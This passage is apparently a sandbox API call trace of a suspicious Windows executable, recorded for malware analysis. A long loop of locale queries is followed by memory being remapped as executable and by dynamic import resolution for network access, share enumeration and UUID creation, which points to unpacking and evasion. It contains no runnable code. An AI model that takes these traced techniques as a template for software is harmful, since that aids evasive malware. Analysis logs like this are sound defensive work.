| out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.461] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.461] GetOEMCP () returned 0x1b5 [0217.462] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.462] GetOEMCP () returned 0x1b5 [0217.462] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.462] GetOEMCP () returned 0x1b5 [0217.462] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.462] GetOEMCP () returned 0x1b5 [0217.462] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.462] GetOEMCP () returned 0x1b5 [0217.463] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.463] GetOEMCP () returned 0x1b5 [0217.463] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.463] GetOEMCP () returned 0x1b5 [0217.463] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.463] GetOEMCP () returned 0x1b5 [0217.463] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.463] GetOEMCP () returned 0x1b5 [0217.463] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.463] GetOEMCP () returned 0x1b5 [0217.463] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.463] GetOEMCP () returned 0x1b5 [0217.463] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.463] GetOEMCP () returned 0x1b5 [0217.463] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.464] GetOEMCP () returned 0x1b5 [0217.464] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.464] GetOEMCP () returned 0x1b5 [0217.464] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.464] GetOEMCP () returned 0x1b5 [0217.464] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.464] GetOEMCP () returned 0x1b5 [0217.464] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.464] GetOEMCP () returned 0x1b5 [0217.464] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.464] GetOEMCP () returned 0x1b5 [0217.464] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.464] GetOEMCP () returned 0x1b5 [0217.464] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.464] GetOEMCP () returned 0x1b5 [0217.464] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.464] GetOEMCP () returned 0x1b5 [0217.464] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.464] GetOEMCP () returned 0x1b5 [0217.464] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.464] GetOEMCP () returned 0x1b5 [0217.464] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.465] GetOEMCP () returned 0x1b5 [0217.465] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.465] GetOEMCP () returned 0x1b5 [0217.465] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.465] GetOEMCP () returned 0x1b5 [0217.465] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.465] GetOEMCP () returned 0x1b5 [0217.465] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.465] GetOEMCP () returned 0x1b5 [0217.465] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.465] GetOEMCP () returned 0x1b5 [0217.465] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.465] GetOEMCP () returned 0x1b5 [0217.465] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.465] GetOEMCP () returned 0x1b5 [0217.465] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.465] GetOEMCP () returned 0x1b5 [0217.465] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.465] GetOEMCP () returned 0x1b5 [0217.465] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.465] GetOEMCP () returned 0x1b5 [0217.465] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.466] GetOEMCP () returned 0x1b5 [0217.466] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.466] GetOEMCP () returned 0x1b5 [0217.466] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.466] GetOEMCP () returned 0x1b5 [0217.466] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.466] GetOEMCP () returned 0x1b5 [0217.466] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.466] GetOEMCP () returned 0x1b5 [0217.466] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.466] GetOEMCP () returned 0x1b5 [0217.466] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.466] GetOEMCP () returned 0x1b5 [0217.466] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.466] GetOEMCP () returned 0x1b5 [0217.466] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.466] GetOEMCP () returned 0x1b5 [0217.466] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.466] GetOEMCP () returned 0x1b5 [0217.466] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.466] GetOEMCP () returned 0x1b5 [0217.467] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.467] GetOEMCP () returned 0x1b5 [0217.467] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.467] GetOEMCP () returned 0x1b5 [0217.467] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.467] GetOEMCP () returned 0x1b5 [0217.467] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.467] GetOEMCP () returned 0x1b5 [0217.467] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.467] GetOEMCP () returned 0x1b5 [0217.467] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.467] GetOEMCP () returned 0x1b5 [0217.467] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.467] GetOEMCP () returned 0x1b5 [0217.467] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.467] GetOEMCP () returned 0x1b5 [0217.467] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.467] GetOEMCP () returned 0x1b5 [0217.467] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.467] GetOEMCP () returned 0x1b5 [0217.467] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.467] GetOEMCP () returned 0x1b5 [0217.468] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.468] GetOEMCP () returned 0x1b5 [0217.468] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.468] GetOEMCP () returned 0x1b5 [0217.468] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.468] GetOEMCP () returned 0x1b5 [0217.468] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.468] GetOEMCP () returned 0x1b5 [0217.468] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.468] GetOEMCP () returned 0x1b5 [0217.468] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.468] GetOEMCP () returned 0x1b5 [0217.468] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.468] GetOEMCP () returned 0x1b5 [0217.468] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.468] GetOEMCP () returned 0x1b5 [0217.468] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.468] GetOEMCP () returned 0x1b5 [0217.468] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.468] GetOEMCP () returned 0x1b5 [0217.468] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.468] GetOEMCP () returned 0x1b5 [0217.469] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.469] GetOEMCP () returned 0x1b5 [0217.469] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.469] GetOEMCP () returned 0x1b5 [0217.469] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.469] GetOEMCP () returned 0x1b5 [0217.469] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.469] GetOEMCP () returned 0x1b5 [0217.469] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.469] GetOEMCP () returned 0x1b5 [0217.469] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.469] GetOEMCP () returned 0x1b5 [0217.469] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.469] GetOEMCP () returned 0x1b5 [0217.469] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.469] GetOEMCP () returned 0x1b5 [0217.469] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.469] GetOEMCP () returned 0x1b5 [0217.469] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.469] GetOEMCP () returned 0x1b5 [0217.469] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.469] GetOEMCP () returned 0x1b5 [0217.470] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.470] GetOEMCP () returned 0x1b5 [0217.470] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.470] GetOEMCP () returned 0x1b5 [0217.470] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.470] GetOEMCP () returned 0x1b5 [0217.470] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.470] GetOEMCP () returned 0x1b5 [0217.470] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.470] GetOEMCP () returned 0x1b5 [0217.470] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.470] GetOEMCP () returned 0x1b5 [0217.470] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.470] GetOEMCP () returned 0x1b5 [0217.470] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.470] GetOEMCP () returned 0x1b5 [0217.470] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.470] GetOEMCP () returned 0x1b5 [0217.470] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.470] GetOEMCP () returned 0x1b5 [0217.470] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.470] GetOEMCP () returned 0x1b5 [0217.471] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.471] GetOEMCP () returned 0x1b5 [0217.471] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.471] GetOEMCP () returned 0x1b5 [0217.471] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.471] GetOEMCP () returned 0x1b5 [0217.471] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.471] GetOEMCP () returned 0x1b5 [0217.471] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.471] GetOEMCP () returned 0x1b5 [0217.471] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.471] GetOEMCP () returned 0x1b5 [0217.471] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.471] GetOEMCP () returned 0x1b5 [0217.471] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.471] GetOEMCP () returned 0x1b5 [0217.471] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.471] GetOEMCP () returned 0x1b5 [0217.471] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.471] GetOEMCP () returned 0x1b5 [0217.471] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.472] GetOEMCP () returned 0x1b5 [0217.472] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.472] GetOEMCP () returned 0x1b5 [0217.472] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.472] GetOEMCP () returned 0x1b5 [0217.472] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.472] GetOEMCP () returned 0x1b5 [0217.472] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.472] GetOEMCP () returned 0x1b5 [0217.472] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.472] GetOEMCP () returned 0x1b5 [0217.472] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.472] GetOEMCP () returned 0x1b5 [0217.472] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.472] GetOEMCP () returned 0x1b5 [0219.345] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x756f0000 [0219.351] GetProcAddress (hModule=0x756f0000, lpProcName="GlobalAlloc") returned 0x7570588e [0219.358] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x756f0000 [0219.360] GetProcAddress (hModule=0x756f0000, lpProcName="VirtualProtect") returned 0x7570435f [0219.360] VirtualProtect (in: lpAddress=0x694370, dwSize=0x31755, flNewProtect=0x40, lpflOldProtect=0x18f900 | out: lpflOldProtect=0x18f900*=0x4) returned 1 [0219.400] GetProcAddress (hModule=0x756f0000, lpProcName="LoadLibraryA") returned 0x757049d7 [0219.400] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x756f0000 [0219.400] GetProcAddress (hModule=0x756f0000, lpProcName="VirtualAlloc") returned 0x75701856 [0219.400] GetProcAddress (hModule=0x756f0000, lpProcName="VirtualProtect") returned 0x7570435f [0219.400] GetProcAddress (hModule=0x756f0000, lpProcName="VirtualFree") returned 0x7570186e [0219.400] GetProcAddress (hModule=0x756f0000, lpProcName="GetVersionExA") returned 0x75703519 [0219.400] GetProcAddress (hModule=0x756f0000, lpProcName="TerminateProcess") returned 0x7571d802 [0219.400] GetProcAddress (hModule=0x756f0000, lpProcName="ExitProcess") returned 0x75707a10 [0219.401] GetProcAddress (hModule=0x756f0000, lpProcName="SetErrorMode") returned 0x75701b00 [0219.401] SetErrorMode (uMode=0x400) returned 0x0 [0219.401] SetErrorMode (uMode=0x0) returned 0x400 [0219.401] GetVersionExA (in: lpVersionInformation=0x18ee44*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}ñv") | out: lpVersionInformation=0x18ee44*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0219.401] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x220000 [0219.407] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18fecc | out: lpflOldProtect=0x18fecc*=0x2) returned 1 [0219.428] VirtualFree (lpAddress=0x220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0219.431] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x76960000 [0219.431] GetProcAddress (hModule=0x76960000, lpProcName="RpcStringFreeW") returned 0x76981635 [0219.431] GetProcAddress (hModule=0x76960000, lpProcName="UuidToStringW") returned 0x769a1ee5 [0219.431] GetProcAddress (hModule=0x76960000, lpProcName="UuidToStringA") returned 0x769dd918 [0219.431] GetProcAddress (hModule=0x76960000, lpProcName="RpcStringFreeA") returned 0x769a3fc5 [0219.431] GetProcAddress (hModule=0x76960000, lpProcName="UuidCreate") returned 0x7697f48b [0219.431] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74790000 [0219.626] GetProcAddress (hModule=0x74790000, lpProcName="WNetCloseEnum") returned 0x74792dd6 [0219.626] GetProcAddress (hModule=0x74790000, lpProcName="WNetOpenEnumW") returned 0x74792f06 [0219.626] GetProcAddress (hModule=0x74790000, lpProcName="WNetEnumResourceW") returned 0x74793058 [0219.626] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x74d20000 [0220.791] GetProcAddress (hModule=0x74d20000, lpProcName="InternetCloseHandle") returned 0x74d3ab49 [0220.791] GetProcAddress (hModule=0x74d20000, lpProcName="InternetOpenUrlW") returned 0x74d9be5c [0220.792] GetProcAddress (hModule=0x74d20000, lpProcName="InternetReadFile") returned 0x74d3b406 [0220.792] GetProcAddress (hModule=0x74d20000, lpProcName="InternetOpenUrlA") returned 0x74d630f1 [0220.792] GetProcAddress (hModule=0x74d20000, lpProcName="HttpQueryInfoW") returned 0x74d45c75 [0220.792] GetProcAddress (hModule=0x74d20000, lpProcName="InternetOpenA") returned 0x74d4f18e [0220.792] GetProcAddress (hModule=0x74d20000, lpProcName="InternetOpenW") returned 0x74d49197 [0220.792] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x745e0000 [0220.946] GetProcAddress (hModule=0x745e0000, lpProcName="timeGetTime") returned 0x745e26e0 [0220.946] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75cb0000 [0220.946] GetProcAddress (hModule=0x75cb0000, lpProcName="PathFindExtensionW") returned 0x75cca1b9 [0220.946] GetProcAddress (hModule=0x75cb0000, lpProcName="PathFindFileNameW") returned 0x75ccbb71 [0220.947] GetProcAddress (hModule=0x75cb0000, lpProcName="PathRemoveFileSpecW") returned 0x75cc3248 [0220.947] GetProcAddress (hModule=0x75cb0000, lpProcName="PathFileExistsW") returned 0x75cc45bf [0220.947] GetProcAddress (hModule=0x75cb0000, lpProcName="PathAppendW") returned 0x75cc81ef [0220.947] GetProcAddress (hModule=0x75cb0000, lpProcName="PathAppendA") returned 0x75cbd65e [0220.947] GetProcAddress (hModule=0x75cb0000, lpProcName="PathFileExistsA") returned 0x75cead1a [0220.947] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x756f0000 [0220.947] GetProcAddress (hModule=0x756f0000, lpProcName="GetTickCount") returned 0x7570110c [0220.947] GetProcAddress (hModule=0x756f0000, lpProcName="TlsFree") returned 0x75703587 [0220.947] GetProcAddress (hModule=0x756f0000, lpProcName="GetCommandLineW") returned 0x75705223 [0220.947] GetProcAddress (hModule=0x756f0000, lpProcName="CreateFileA") returned 0x757053c6 